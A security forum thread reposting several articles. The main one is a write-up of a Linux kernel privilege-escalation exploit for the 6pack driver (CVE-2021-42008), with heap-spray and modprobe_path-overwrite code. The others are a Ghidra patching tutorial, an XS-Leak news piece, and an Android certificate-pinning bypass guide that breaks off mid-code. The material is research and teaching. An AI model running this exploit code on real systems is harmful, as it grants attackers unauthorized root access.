i++) alloc_msg_queue_A(i); // [2] for (int i = 0; i < N_MSG; i++) send_msg(qid_A[i], 0x1018, 1, 'A' + i); // [3] recv_msg(qid_A[0], 0x1018, 0); // [4] ptmx = init_sixpack(); // [5] [...] We can continue spraying many shm_file_data structures in kmalloc-32: struct shm_file_data { int id; struct ipc_namespace *ns; struct file *file; const struct vm_operations_struct *vm_ops; }; This can be done using shmget() to allocate a shared memory segment and shmat() to attach it to the address space of the calling process. This, later on, will allow us to leak the init_ipc_ns symbol, located in the kernel data section, compute kernel base, and bypass KASLR. Afterwards, we allocate N_MSG (in our case N_MSG is equal to 7) message queues [2] and then for each queue we send a message of 0x1018 bytes (0xfe8 bytes for message body, and 0x30 for message header) using send_msg() [3] which is a wrapper for msgsnd(). Each iteration will allocate a message in kmalloc-4096 and a segment in kmalloc-32. Then we use recv_msg(), which is a wrapper for msgrcv() to read a message a create a hole in the kernel heap [4]. At this point we can finally initialize the sixpack channel as we have seen in the first section. This will allocate a net_device structure in kmalloc-4096 and a sixpack structure inside its private data region. All this will probably create the following situation in memory, where the sixpack structure is followed by one of the messages we have just allocated. This message contains a pointer to its respective segment: It is important to note that we don’t know to which of the 6 queues belongs the message allocated right after the sixpack structure, so I identified its queue with QID #X. We are finally ready to send our malicious payload over the sixpack channel: uint8_t *sixpack_encode(uint8_t *src) { uint8_t *dest = (uint8_t *)calloc(1, 0x3000); uint32_t raw_count = 2; // [8] for (int count = 0; count <= PAGE_SIZE; count++) { if ((count % 3) == 0) { dest[raw_count++] = (src[count] & 0x3f); dest[raw_count] = ((src[count] >> 2) & 0x30); } else if ((count % 3) == 1) { dest[raw_count++] |= (src[count] & 0x0f); dest[raw_count] = ((src[count] >> 2) & 0x3c); } else { dest[raw_count++] |= (src[count] & 0x03); dest[raw_count++] = (src[count] >> 2); } } return dest; } uint8_t *generate_payload(uint64_t target) { uint8_t *encoded; memset(buff, 0, PAGE_SIZE); // sp->rx_count_cooked = 0x190 buff[0x194] = 0x90; // [2] // sp->rx_count_cooked = 0x696 buff[0x19a] = 0x06; // [3] // fix upper two bytes of msg_msg.m_list.prev buff[0x19b] = 0xff; // [4] buff[0x19c] = 0xff; // msg_msg.m_ts = 0x1100 buff[0x1a6] = 0x11; // [5] // msg_msg.next = target if (target) // [6] for (int i = 0; i < sizeof(uint64_t); i++) buff[0x1ad + i] = (target >> (8 * i)) & 0xff; encoded = sixpack_encode(buff); // sp->status = 0x18 (to reach decode_data()) encoded[0] = 0x88; // [7] encoded[1] = 0x98; return encoded; } [...] payload = generate_payload(0); // [1] write(ptmx, payload, LEAK_PAYLOAD_SIZE); // [9] [...] We generate and encode our malicious payload calling generate_paylaod() [1]. As we have seen in the previous paragraphs, we misalign the writing frame of the decode_data() function by setting sp->rx_count_cooked to 0x190 [2]. Then we overwrite the second byte of sp->rx_count_cooked with 0x6, making it 0x696 [3]. From this point decode_data() will continue writing at sp->cooked_buf[0x696] and by doing so it will inevitably corrupt the upper two bytes of the msg_msg.m_list.prev pointer. Since we know that the upper two bytes of a heap pointer in kernel space are always 0xffff, we can easly fix it [4]. Then we set msg_msg.m_ts to 0x1100, this will allow us to obtain a powerful Out-Of-Bounds Read primitive calling recv_msg(). For now we don’t need to overwrite msg_msg.next [6], so we can directly encode our buffer [7], and set the first two bytes of the payload respectively 0x88, and 0x98, as we have seen in the previous sections, to reach the vulnerable function. Since we are skipping the first two bytes (used to reach the vulnerable function), we set sp->rx_count to 2 in sixpack_encode() [8]. Once we send our malicious payload over the sixpack channel [9] and it is decoded by sixpack_decode() the situation in memory will be the following: We have successfully overwritten sp->rx_count_cooked with 0x696 exploiting the buffer overflow in sp->cooked_buf, and tricked decode_data() into continuing to write our malicious payload at sp->cooked_buf[0x696]. By doing so, we successfully overwritten the m_ts field of the message. Here is the result of our Out-Of-Bounds Write primitive showed in GDB: We can proceed exploiting the Out-Of-Bounds Read: void close_queue(int qid) { if (msgctl(qid, IPC_RMID, NULL) < 0) { perror("[X] msgctl()"); exit(1); } } int find_message_queue(uint16_t tag) { switch (tag) { case 0x4141: return 0; case 0x4242: return 1; case 0x4343: return 2; case 0x4444: return 3; case 0x4545: return 4; case 0x4646: return 5; default: return -1; } } void leak_pointer(void) { uint64_t *leak; for (int id = 0; id < N_MSG; id ++) { leak = (uint64_t *)recv_msg(qid_A[id], 0x1100, 0); if (leak == NULL) continue; for (int i = 0; i < 0x220; i++) { if ((leak[i] & 0xffff) == INIT_IPC_NS) // [2] { init_ipc_ns = leak[i]; valid_qid = find_message_queue((uint16_t)leak[1]); // [3] modprobe_path = init_ipc_ns - 0x131040; // [4] return; } } } } [...] leak_pointer(); // [1] [...] Since we don’t now to which queue belongs the message allocated right after the sixpack structure, we use leak_pointer() to iterate through all the queues, until we find a init_ipc_ns pointer [2]. If we find the pointer, it means that we found the correct queue, so we obtain its QID comparing the message content thanks to the find_message_queue() function [3], and we finally compute the address of modprobe_path. If the procedure fails, it means that none of our messages has been allocated after the sixpack structure. In this case we can simply launch the exploit again (since we are writing in kmalloc-4096 which is usually not heavily used by the kernel, the probability of a crash is relatively low). Here is a visual representation of what happens when we trigger the Out-Of-Bounds Read: Now that we know the address of our target, modprobe_path, we need to get an arbitrary write primitive. We could proceed initializing a new sixpack structure, but this would decrease the success rate of our exploit. The question is: is there a way to reuse the sixpack structure we just corrupted? The answer is yes! Remember when we analyzed the tnc_init() function? Well, when a new sixpack channel is initialized, tnc_init() sets a 5 seconds timer. Once the timer expires, resync_tnc() is called: static void resync_tnc(struct timer_list *t) { struct sixpack *sp = from_timer(sp, t, resync_t); static char resync_cmd = 0xe8; /* clear any data that might have been received */ sp->rx_count = 0; // [1] sp->rx_count_cooked = 0; // [2] /* reset state machine */ sp->status = 1; // [3] [...] /* Start resync timer again -- the TNC might be still absent */ mod_timer(&sp->resync_t, jiffies + SIXP_RESYNC_TIMEOUT); // [4] } As we can see from the resync_tnc() source code, after 5 seconds, the receiver state is reset, meaning that sp->rx_count and sp->rx_count_cooked are set to 0 [1] [2] and sp->status to 1 [3], then the 5 seconds timer is started again [4]. This is exactly what we need, because if we wait for 5 seconds from when we initialized the sixpack structure for the first time, we can reuse it and cause a second Out-Of-Bounds Write! We can proceed initializing N_THREADS page fault handler threads (in our case N_THREADS is equal to 8😞 void create_pfh_thread(int id, int ufd, void *page) { struct pfh_args *args = (struct pfh_args *)malloc(sizeof(struct pfh_args)); args->id = id; args->ufd = ufd; args->page = page; pthread_create(&tid[id], NULL, page_fault_handler, (void *)args); } [...] for (int i = 0; i < N_THREADS; i++) // [1] { mmap(pages[i], PAGE_SIZE*3, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); ufd[i] = initialize_ufd(pages[i]); } for (int i = 0; i < N_THREADS; i++) create_pfh_thread(i, ufd[i], pages[i]); // [2] [...] Frist call mmap() for 8 times, and each time we map 3 pages of memory. Then for each iteration we start monitoring the second page using userfaultfd [1]. Then we start 8 page fault handlers [2]. Each one of these threads will handle a page fault for a specific page. We can proceed allocating 8 messages in kmalloc-4096 and the respective segments in kmalloc-32: void alloc_msg_queue_B(int id) { if ((qid_B[id] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) { perror("[X] msgget"); exit(1); } } void *allocate_msg(void *arg) { int id = ((struct t_args *)arg)->id; void *page = ((struct t_args *)arg)->page; debug_printf("[Thread %d] Message buffer allocated at 0x%lx\n", id + 1, page + PAGE_SIZE - 0x10); alloc_msg_queue_B(id); memset(page, 0, PAGE_SIZE); ((uint64_t *)(page))[0xff0 / 8] = 1; // msg_msg.m_type = 1 if (msgsnd(qid_B[id], page + PAGE_SIZE - 0x10, 0x1018, 0) < 0) // [4] { perror("[X] msgsnd"); exit(1); } debug_printf("[Thread %d] Message sent!\n", id + 1); } void create_message_thread(int id, void *page) { struct t_args *args = (struct t_args *)malloc(sizeof(struct t_args)); args->id = id; args->page = page; pthread_create(&tid[id + 2], NULL, allocate_msg, (void *)args); } [...] close_queue(qid_A[valid_qid]); // [1] payload = generate_payload(modprobe_path - 0x8); // [2] for (int i = 0; i < N_THREADS; i++) create_message_thread(i, pages[i]); // [3] waitfor(6, "Waiting for resync_tnc callback..."); // [5] [...] First of all we close the queue to which belongs the message allocated right after the sixpack structure [1]. This will free the message and its respective segment, creating a hole in the heap, allowing us to allocate another message in the same location (because of freelist LIFO behavior). We re-generate our malicious payload, this time using modprobe_path - 0x8 as target [2]. This will set the msg_msg.next pointer to modprobe_path - 0x8. We are subtracting 8 bytes from modprobe_path because the first QWORD of a segment must be NULL, otherwise load_msg() will try to access the next segment causing a crash. Afterwards, we create 8 threads using create_message_thread() [3]. Each one of these threads will allocate a new message in kmalloc-4096. For each thread, we place the message buffer, right 0x10 bytes before the monitored page [4], this way the copy_from_user() call in load_msg() will cause a page fault, and we will be able suspend the copy operation from user space. Finally we sleep for 6 seconds [5], this way the function resync_tnc() will be called by the kernel resetting the sixpack receiver state. All this will cause the following situation in memory: As we can see, one of the messages has been allocated right after the sixpack structure. The allocation of the message and the successive load_msg() call, caused a page fault, and we successfully suspended the copy operation. It is important to note that even in this case we don’t know to which queue belongs the message allocated after the sixpack structure, so I identified the queue with QID #Y. We are ready to send our malicious payload over the sixpack channel: [...] puts("[*] Overwriting modprobe_path..."); write(ptmx, payload, WRITE_PAYLOAD_SIZE); // [1] [...] Once we send the malicious payload [1], it will misalign the writing frame as we have seen in the previous paragraphs, setting sp->rx_count_cooked to 0x190, then it will set it to 0x696 tricking decode_data() into continuing to write into the next object in memory: MSG #0 in QID #Y. Finally it will overwrite multiple fields in the msg_msg structure, including the next pointer. Now msg_msg.next, instead of pointing to the segment, points to modprobe_path - 0x8: We can finally release every page fault: [...] release_pfh = true; [...] Once we release every page fault, the modprobe_path string (set by default to “/sbin/modprobe”) will be overwritten with the path of our malicious program “/tmp/x”: In the final stage, we trigger the call to /sbin/modprobe, now replaced with /tmp/x, and we verify if the new user with root privileges has been added: [...] system("/tmp/asd 2>/dev/null"); // [1] if (!getpwnam("pwn")) // [2] { puts("[X] Exploit failed, try again..."); goto end; } puts("[+] We are root!"); system("rm /tmp/asd && rm /tmp/x"); system("su pwn"); [...] First we execute a program with an unknown program header [1] forcing the kernel to call __request_module() → call_modprobe() → call_usermodehelper_exec() and execute our malicious program, then we check if the user pwn [2] has been added using getpwnam(). If the user exists, we can use su pwn to become root, otherwise we simply need to launch the exploit again. Here is the exploit in action: You can find the complete exploit here: CVE-2021-42008: Exploiting A 16-Year-Old Vulnerability In The Linux 6pack Driver The exploit is designed and tested for Debian 11 - Kernel 5.10.0-8-amd64. If you want to port the exploit to other kernel versions, remember that the distance between sp->cooked_buf and the next object in memory may change. Conclusion In this article I showed how the techniques presented by FizzBuzz101 and me with Fire of Salvation and Wall Of Perdition can be used to exploit real vulnerabilities in the Linux Kernel. There are many other valid approaches to exploit this vulnerability. For example, after Kernel 5.11, a first patch made userfaultfd completely inaccessible for unprivileged users, then a second patch restricted its usage in a way that only page faults from user-mode can be handled, so in the second stage, an attacker may simply use FUSE to delay page faults creating unprivileged user+mount namespaces, or may abuse discontiguous file mapping and scheduler behavior instead of using userfaultfd. Another approach for the second stage may be to set msg_msg.next to the address of a previously leaked structure, for example seq_operations, subprocess_info, tty_struct and so on (check References for a list of exploitable kernel structures), and then free the message and its respective segment (now pointing to the target structure) using msgrcv() without the MSG_COPY flag. This will result in a powerful arbitrary free primitive. From here is possible to cause a Use-After-Free to the target structure and hijack the Kernel control flow overwriting a function pointer. Another very interesting approach is the one used to exploit CVE-2021-22555. As always, for any question or clarification, feel free to contact me (check About). References 6pack https://docs.kernel.org/networking/6pack.html The TTY demystified https://www.linusakesson.net/programming/tty/index.php Jiffies in the Linux Kernel https://cyberglory.wordpress.com/2011/08/21/jiffies-in-linux-kernel/ Utilizing msg_msg Objects For Arbitrary Read And Arbitrary Write In The Linux Kernel https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html (Part 1: Fire Of Salvation) https://syst3mfailure.io/wall-of-perdition (Part 2: Wall Of Perdition) modprobe_path https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/ Exploitable kernel structures https://bsauce.github.io/2021/09/26/kernel-exploit-%E6%9C%89%E7%94%A8%E7%9A%84%E7%BB%93%E6%9E%84%E4%BD%93/ D3v17 Read more posts by this author. Sursa: https://syst3mfailure.io/sixpack-slab-out-of-bounds
-
Ghidra 101: Binary Patching CRAIG YOUNG NOV 28, 2021 IT SECURITY AND DATA PROTECTION In this blog series, I will be putting the spotlight on useful Ghidra features you may have missed. Each post will look at a different feature and show how it helps you save time and be more effective in your reverse engineering workflows. Ghidra is an incredibly powerful tool, but much of this power comes from knowing how to use it effectively. There are several circumstances where it can be helpful to make a modification to code or data within a compiled program. Sometimes, it is necessary to fix a vulnerability or compatibility issue without functional source code or compilers. This can happen when source code gets lost, systems go out of support, or software firms go out of business. In case you should find yourself in this situation, keep calm and read on to learn how to do this within Ghidra. Until recently, Ghidra was rather limited in this capability. This changed with the summer 2021 release of Ghidra 10.0 which introduced the ability to export programs with proper executable formats for Windows (PE) and Linux (ELF). Ghidra versions before 10 or for executable formats besides PE and ELF require using a raw import and raw export and is generally far less robust. In this post, I will review a Windows x86 executable, but the general strategy is applicable more broadly with some nuances for specific platforms and architectures. Strategies The first step for preparing a program patch is to gauge the complexity/length of the required patch and identify roughly where it needs to be inserted. If the patch is short enough, it may be possible to directly replace existing code inline. Patches introducing completely new functionality generally cannot be written inline and will require a different strategy. In this scenario, we must locate unused bytes which are loaded from the program file into executable memory space. These code caves are commonly generated when an executable section requires specific byte alignment. Longer patches can be written into a code cave along with appropriate branching instructions to insert the patch code into the right code path. Let’s take an example to see this process in action. In case you haven’t seen them, MalwareTech has a fun set of reversing and exploitation challenges available online. Each reversing challenge presents an executable which, when executed, will display a message box containing the MD5 sum of a secret flag string. You are expected to recover the flag string using only static analysis techniques, but for this blog, we will be altering and then running the challenge program to directly print the flag. (Don’t worry, it’s not cheating if it is in the name of science, right?) Shellcode2.exe_ In this post, I will use the shellcode2 challenge, and I encourage readers to follow along and then attempt to repeat the process with a different challenge file. The objective for our patch is to reveal the flag value after it has been decoded by the shellcode and before it has been hashed. Let’s start by looking at how shellcode2.exe_ is structured: In this snippet, we see local_bc being initialized as an MD5 object followed by the construction of a stack string. When looking at the end of the entry function, we can see where the flag is hashed and the message box is created: In this snippet, the MD5 object at local_bc is being referenced to invoke the MD5::digestString() method with the address of local_2c as input. A reference to the resulting hash is stored at local_c0. The instructions from 4023a2-4023b2 pass this value into the MessageBoxA API call with a particular window title and style. Patching The first patch we’ll look at is to change the arguments to MessageBoxA so that it prints the value from local_2c rather than the value referred by local_c0. The address of the hash is loaded into EAX with the MOV instruction at 4023a9 and then pushed to the stack as an argument for MesageBoxA. This will need to be patched so that the address of local_2c is pushed instead. The LEA (Load Effective Address) instruction allows us to do just that. Begin by right-clicking the MOV instruction and selecting Patch Instruction: The instruction will change to an editable field with autocompletion: Patch this to be LEA with the operands EAX, [EBP + -0x28] so that EAX receives the address of local_2c: Note that the use of -0x28 rather than -0x2c as an offset to EBP is to account for the original EBP being pushed to the stack before EBP is loaded with the new stack pointer. The resulting offset is converted to its two’s complement as shown here: The program can now be exported from the File -> Export Program menu as PE format. Running the exe file produces our new MessageBoxA: Sursa: https://www.tripwire.com/state-of-security/security-data-protection/ghidra-101-binary-patching/
-
- 2
-
-
Researchers discover 14 new data-stealing web browser attacks By Bill Toulas December 3, 2021 10:34 AM 0 IT security researchers from Ruhr-Universität Bochum (RUB) and the Niederrhein University of Applied Sciences have discovered 14 new types of 'XS-Leak' cross-site leak attacks against modern web browsers, including Google Chrome, Microsoft Edge, Safari, and Mozilla Firefox. These types of side-channel attacks are called 'XS-Leaks,' and allow attacks to bypass the 'same-origin' policy in web browsers so that a malicious website can steal info in the background from a trusted website where the user enters information. "The principle of an XS-Leak is to use such side-channels available on the web to reveal sensitive information about users, such as their data in other web applications, details about their local environment, or internal networks they are connected to," explains the XS-Leaks wiki. For example, an XS-Leak attack could help a background site siphon the email inbox contents from an active tab used for accessing webmail. The process of an XS-Leak Source: XSinator Cross-site leaks aren't new, but as the researchers point out, not all of them have been identified and classified as XS-Leaks, and their root cause remains unclear. Their research aims to systematically search for new XS-Leaks, evaluate potential mitigations, and generally gain a better understanding of how they work. Finding new XS-Leaks The researchers first identified three characteristics of cross-site leaks and evaluated all inclusion methods and leak techniques for a large set of web browsers. The three main ingredients of all XS-Leaks are inclusion methods, leak techniques, and detectable differences. After creating a model based on the above, the researchers found 34 XS-Leaks, 14 of which were novel (marked with a plus sign below). All of the XS-Leaks identified in the study. Source: XSinator Next, they tested the 34 XS-Leaks against 56 combinations of browsers and operating systems to determine how vulnerable each of them was. Then they built a web application named XSinator, consisting of three components: A testing site that acts as the attacker page, implementing known and novel X-Leaks A vulnerable web app that simulates the behavior of a state-dependent resource. A database containing all previous test results. You can visit the XSinator page yourself and run the test to see how well your web browser and OS fare against the 34 X-Leaks. Testing against the latest version of Google Chrome Source: BleepingComputer You can find a full list of XS-leaks that various browsers are vulnerable to below: Sample results from the team's evaluation Source: XSinator How to defend against X-Leaks Mitigating or addressing the risks that arise from these side-channel attacks need to be resolved by browser developers. Researchers suggest denying all event handler messages, minimizing error message occurrences, applying global limit restrictions, and creating a new history property when redirection occurs. Other effective mitigation methods are using X-Frame-Options to prevent iframe elements from loading HTML resources and implementing the CORP header to control if pages can embed a resource. “COIU, also known as First-Party Isolation (FPI), is an optional security feature that users can enable in FF's expert settings (about:config) and was initially introduced in Tor Browser.” - from the paper. One of the participating researchers, Lukas Knittel, told Bleeping Computer the following: "Depending on the website, XS-Leaks can have a severe impact on users. Users can use an up-to-date browser that allows them to disable third-party cookies. This would protect against most XS-Leaks, even when the website doesn't implement new mitigations like COOP, CORP, SameSite Cookies, and so on." - Knittel. The researcher also said they informed the web browser development teams of their findings, who are now fixing the various issues. The problems have already been fixed in the currently-available versions in some cases. As for future work, the team believes that new browser features constantly add new potential XS-Leak opportunities, so this is a space of constant interest. Also, Knittel told us that they might explore the development of a website-scanning tool, but for now, they want to focus on determining how common these flaws are in real-world websites. Sursa: https://www.bleepingcomputer.com/news/security/researchers-discover-14-new-data-stealing-web-browser-attacks/
-
- 1
-
-
Dap, se intampla si nu e rau cand e in timpul orelor de program, desi nu sunt developer: "Nu pot face code review ca nu merge Github". Am vazut si ca Linkedin mai crapa, nu prea inteleg ce tot se strica pe la ei.
-
Reverse engineering & modifying Android apps with JADX & Frida I get a lot of emails from users who want to know exactly what their favourite Android app is doing, and want to tweak and change how that works for themselves. There are some great tools to do this, including JADX & Frida, but using these is complicated, and every reverse engineering problem has its own unique challenges & solutions. There's few good guides to getting started, and even fewer guides on the advanced tricks available. In this article, I want to talk you through the core initial steps to look inside any Android app, give you the tools to find & understand the specific code that matters to you, and then show you how you can use that information to modify the app for yourself. Let's set the scene first. Context I'm assuming here that somebody else has written an Android app that you're interested in. You want to know exactly how a specific bit of behaviour works, and you want to change what it's doing. I'm going to focus on the classic HTTP Toolkit user example here of certificate pinning: where security-conscious apps that send HTTPS traffic go beyond the normal HTTPS validation requirements, and actively check that the HTTPS certificates used are from a small set of specific trusted certificates, not just the standard set trusted by all Android devices. (I'm focusing on certificate pinning because it's a common use case and it's convenient, but the techniques here work for all other kinds of reverse engineering & patching too, don't worry!) Certificate pinning is a problem for HTTP Toolkit users, who are trying to intercept HTTPS traffic to see what messages their Android apps are sending & receiving. It's not possible to intercept these app's traffic because they won't trust HTTP Toolkit's certificate, even after it's been injected into the device's system certificate store. Using the tools we're going to talk about in a moment we can take an unknown 3rd party app, find the certificate pinning code within it, and disable that remotely while the app runs on our device. This makes it possible to intercept, inspect & mock all of its traffic in any way we like! This isn't not easy, but it's usually not necessary. For starters, 99% of apps don't use certificate pinning beyond Android's standard restrictions, and for that case if you use HTTP Toolkit on a rooted device you're done in one click. For most apps that do explicitly pin their certificates, you can disable that using this general-purpose Frida script which already knows how to disable all the most popular cert pinning libraries available. In some cases though apps implement their own custom certificate pinning logic, or do something else unusual, which means the general-purpose script can't recognize and disable the right APIs. In these kinds of cases, or if you're trying to modify any other kinds of app behaviour, you need to roll up your sleeves and get your hands dirty. For this article, I've prepped an certificate pinning demo app: Each button sends an HTTPS request, and validates the connection in a slightly different way. The 'unpinned' option does nothing, the next 4 use various standard pinning techniques, and the last button uses totally custom code to manually check the certificate. If you use this with HTTP Toolkit normally, you can only intercept the first request. If you use the general-purpose Frida script, you can intercept the next 4 too, but not the last one. In this article we're going to focus on that last button, reverse engineer this app to see how it works, and write a custom Frida script to disable the certificate checking functionality. The Plan To reverse engineer an app and hook some behaviour, there's a few core steps you need to work through: Download a copy of the app on your computer Extract the source code Find the code we're interested in Understand how that code works Write a Frida hook to change how that code works Download the app Android apps are generally published to the Google Play store, but you can't easily download the app from there directly to mess around with on your computer. Fortunately, many sites that mirror the Google Play store, and do provide direct downloads of almost all available apps. ApkMirror.com and ApkPure.com are two good examples. In the general case, you should go to your favourite APK mirror site, and download the latest APK for the app you're interested in. In this specific case, I wrote the app, so I've conveniently published it directly on GitHub. You can download its APK here. Android app formats What is this APK file? Let's start with some quick but necessary background on Android app formats. There's two distribution formats you'll run into: APKs (older) and XAPKs (newer, also known Android App Bundles). In this example, the app is provided as a single APK, so that's easy enough, but many other apps you'll run into may be XAPKs, so it's worth understanding the difference. APKs are fairly simple: they're a ZIP file with a bunch of metadata, all the application's assets & config files, and one or more binary .dex files, which contain the compiled application. XAPKs are more complicated: they're a zip file that contains multiple APKs. In practice, they'll contain one large primary APK, with the main application code & resources, and then various small APKs which include the config or resources only relevant to certain types of devices. There might be separate config APKs for devices with larger screens, or different CPU architectures. For reverse engineering you usually just need the main APK, and you can ignore the rest. Extract the code Inside the APK, if you open it as a zip, you'll find a large classes.dex file (for multidex apps, there might even be a classes2.dex or more). These DEX files contain all the JVM classes of the application, in the compiled bytecode format used by Android's Runtime engine (ART, which replaced Dalvik a few years back). These DEX files contain the compiled application, but do not contain all the original source. Many things, most notably including local variable names & comments, are lost when compiling an Android application, and it's always impossible to extract those from the app. The external interfaces of each class are generally present here though (assuming that obfuscation wasn't used). That will usually be enough to find the method that you're interested in. Using those external interfaces you can usually then deduce what each line is trying to do, and progressively rename variables and add your own comments until you have some code that makes sense. To start that process, we need to convert the DEX file into a format we can mess around with ourselves. The best tool to do this is JADX (you can download it from their GitHub release page). Once JADX is installed, you run it like so: jadx ./pinning-demo.apk This will create a folder with the same name as the APK, containing 'resources' and 'sources' folders. The sources folder is what we're interested in: this is JADX's best guess at the Java source code that would've generated this DEX file. It's not perfect, but it should be pretty close. If you use JADX on the latest pinning demo APK, you'll find a structure like this: sources/ android/ - the core Android classes androidx/ - Android Jetpack classes com/ android/volley/ - The Volley HTTP client datatheorem/android/trustkit - One of the popular pinning libraries used google/ - Firefox, GSON & various other Google packages kotlin/ - runtime components of Kotlin okhttp3/ - OkHttp3, a popular HTTP library [...various other namespaces & packages] tech/httptoolkit/pinning_demo/ - the main application code Once you've extracted the code from an app like this, you can explore it any way you like - using Android Studio, using any other text editor, or just grepping for interesting text, it's up to you. By default, I'd recommend using some editor that can highlight and do basic automated refactoring (variable renaming) on Java code, since that'll make the next steps much easier. Find the code you care about Which code you want to reverse engineer & hook depends on the problem you're trying to solve. In my case, the problem is that when I intercept the app's HTTP using HTTP Toolkit and press the "Manually pinned request" button, I get a "Certificate rejected" message in HTTP Toolkit, and I want to stop that happening. That message typically means that the app is pinning a certificate - i.e. even though the HTTP Toolkit certificate is trusted on the device, the app is including its own custom checks, which are rejecting the HTTPS certificates and blocking HTTP Toolkit's automatic HTTP interception. So, the goal here is to find out which bit of code is making the custom-checked HTTPS request behind that last button, find out where that checks the certificate, and then later disable that check. Whatever code you want to change in your case, there are a lot of tricks available to help you hunt it down. Let's try out a few different approaches on this demo app. Search for relevant strings In my case, I know the failing request is going to sha512.badssl.com (a known-good HTTPS test site) so searching for that is a good start. That works, and gives me a few different places in the code that are sending requests, but there's options here for all the different possible pinning mechanisms, and related config files too. It's not immediately clear which code is relevant, so it'd be better to find something more precise. Some other strings that might be interesting, for the certificate pinning case: checkCert validateCert pinning pinner certificate SSL TLS Here you're looking for anything might be included in the name of a class, field or method, or which might be included in strings (e.g. error messages), since all of that will be preserved and searchable in the decompiled code. For example, if you're trying to understand where some HTTP API data comes from, you could try searching for the API endpoint path, or the name of query parameters. If you're looking for the implementation of a specific algorithm, it's worth searching for the common domain terms in that algorithm, or if you're trying to extract secrets or keys from the app then 'secret', 'key', and 'auth' are all worth investigating. Search for usage of relevant Java APIs Although local variable names aren't available, and in obfuscated apps even the class & package names may be obscured, the built-in JVM classes & package names are always available and unchanged. That means they're a great way to find related functionality. If you know the code you're interested in is likely to be using a certain data type, calling a specific API, or throwing a certain type of exception, you can use that to immediately narrow down your search. In this example, I think it's likely that all manual certificate checks are going to be using java.security.cert.X509Certificate, so I can search for usages of that type. This does give some good answers! Unfortunately though the entire app is filled with lots of different ways to do certificate pinning, by design, so this still comes back with a long list of matches, and it's not easy to tell which is relevant immediately. In most other apps that won't be a problem (most apps implement certificate pinning just the once!) and we could trawl through the results, but for now it's better to test out some other options first. Check for HTTP error reports Many apps nowadays include automatic error reporting using tools like Sentry. This is useful to app developers, but also to reverse engineers! Even when the app's own requests may use certificate pinning, requests sent by external libraries like these generally will not, so they're inspectable using HTTP Toolkit (or any other HTTP MitM proxy). That's useful because those requests themselves will usually include the stacktrace for any given error. This provides an excellent way for finding the source of any errors that you want to work around: Intercept traffic from your device using HTTP Toolkit or another proxy Trigger the error Look through the captured HTTP traffic for error reports Find the stacktrace in the relevant error report Follow the stacktrace into the codebase extracted earlier to immediately find the relevant code Bingo! In this case though, we're out of luck, as it's a tiny demo app with no error reporting. More searching required. Check ADB for errors Very commonly, apps will log errors and extra info to the console for easy debugging. Android captures this output from all running JVM processes in a single output buffer, along with stack traces from all uncaught errors, and makes that accessible via ADB using the logcat command. Outputting errors and debug info here is especially common in smaller apps which don't use an automated error reporting tool, so if you're looking to find & change some code that throws errors it's a great alternative to the previous approach. Even in non-error cases, the output here can provide excellent clues about application behaviour at the moments you're interested in. To capture the logs from a device, run: adb logcat -T1 This will stream the live logs from your device, without the history, until you stop it. It's often useful to pipe this to a file instead (i.e. ... > logs.txt) to save it for more detailed later analysis, since there can be a lot of noise here from other activity on the device. While this command is running, if you reproduce your error, you'll frequently find useful error stacktraces or error messages, which can then guide you to the right place in the code. For our demo app, this works great. By enabling logging when pressing the button, if you look carefully between the other noisy log output, we can now get the specific error message unique to that button: > adb logcat -T1 --------- beginning of main ... 11-22 10:46:16.478 31963 31963 I Choreographer: Skipped 114 frames! The application may be doing too much work on its main thread. 11-22 10:46:16.996 1785 1785 D BluetoothGatt: close() 11-22 10:46:16.997 1785 1785 D BluetoothGatt: unregisterApp() - mClientIf=5 11-22 10:46:17.000 791 1280 I bt_stack: [INFO:gatt_api.cc(1163)] GATT_CancelConnect: gatt_if:5, address: 00:00:00:00:00:00, direct:0 11-22 10:46:17.092 573 618 D LightsService: Excessive delay setting light 11-22 10:46:17.258 282 286 E TemperatureHumiditySensor: mCompEngine is NULL 11-22 10:46:18.773 26029 26129 I System.out: java.lang.Error: Unrecognized cert hash. 11-22 10:46:19.034 26029 26080 W Adreno-EGL: <qeglDrvAPI_eglGetConfigAttrib:607>: EGL_BAD_ATTRIBUTE ... We can search the codebase for this Unrecognized cert hash error message, and conveniently that message is shown in exactly one place. This error is appears deep inside invokeSuspend in MainActivity$sendManuallyCustomPinned$1.java: throw new Error("Unrecognized cert hash."); Explore the code in depth Still stuck? At this point, your best bet is to try and explore the application more generally, or to explore around the best clues you've found so far. To do so, you can use the manifest (in resources/AndroidManifest.xml) to find the entrypoints for every activity and background service registered in the application. Start with the services (i.e. background processes) or activities (i.e. a visible page of the UI) that sound most relevant to your situation, open up the corresponding source, and start digging. This can be time consuming. Keep going! You don't need to dig into every detail, but walking through here can quickly give you an idea of the overall architecture of the app, and you can often use this to find the code that's relevant to you. It's well worth keeping notes & adding inline comments as you go to keep track of the process. Understand the code Hopefully by this point you've found the code that's relevant to you. In this demo app, that code decompiled by JADX looks like this: public final Object invokeSuspend(Object obj) { IntrinsicsKt.getCOROUTINE_SUSPENDED(); if (this.label == 0) { ResultKt.throwOnFailure(obj); this.this$0.onStart(R.id.manually_pinned); boolean z = true; try { TrustManager[] trustManagerArr = {new MainActivity$sendManuallyCustomPinned$1$trustManager$1()}; SSLContext instance = SSLContext.getInstance("TLS"); instance.init(null, trustManagerArr, null); Intrinsics.checkExpressionValueIsNotNull(instance, "context"); Socket createSocket = instance.getSocketFactory().createSocket("untrusted-root.badssl.com", 443); if (createSocket != null) { SSLSocket sSLSocket = (SSLSocket) createSocket; SSLSession session = sSLSocket.getSession(); Intrinsics.checkExpressionValueIsNotNull(session, "socket.session"); Certificate[] peerCertificates = session.getPeerCertificates(); Intrinsics.checkExpressionValueIsNotNull(peerCertificates, "certs"); int length = peerCertificates.length; int i = 0; while (true) { if (i >= length) { z = false; break; } Certificate certificate = peerCertificates[i]; MainActivity mainActivity = this.this$0; Intrinsics.checkExpressionValueIsNotNull(certificate, "cert"); if (Boxing.boxBoolean(mainActivity.doesCertMatchPin(MainActivityKt.BADSSL_UNTRUSTED_ROOT_SHA256, certificate)).booleanValue()) { break; } i++; } if (z) { PrintWriter printWriter = new PrintWriter(sSLSocket.getOutputStream()); printWriter.println("GET / HTTP/1.1"); printWriter.println("Host: untrusted-root.badssl.com"); printWriter.println(""); printWriter.flush(); System.out.println((Object) ("Response was: " + new BufferedReader(new 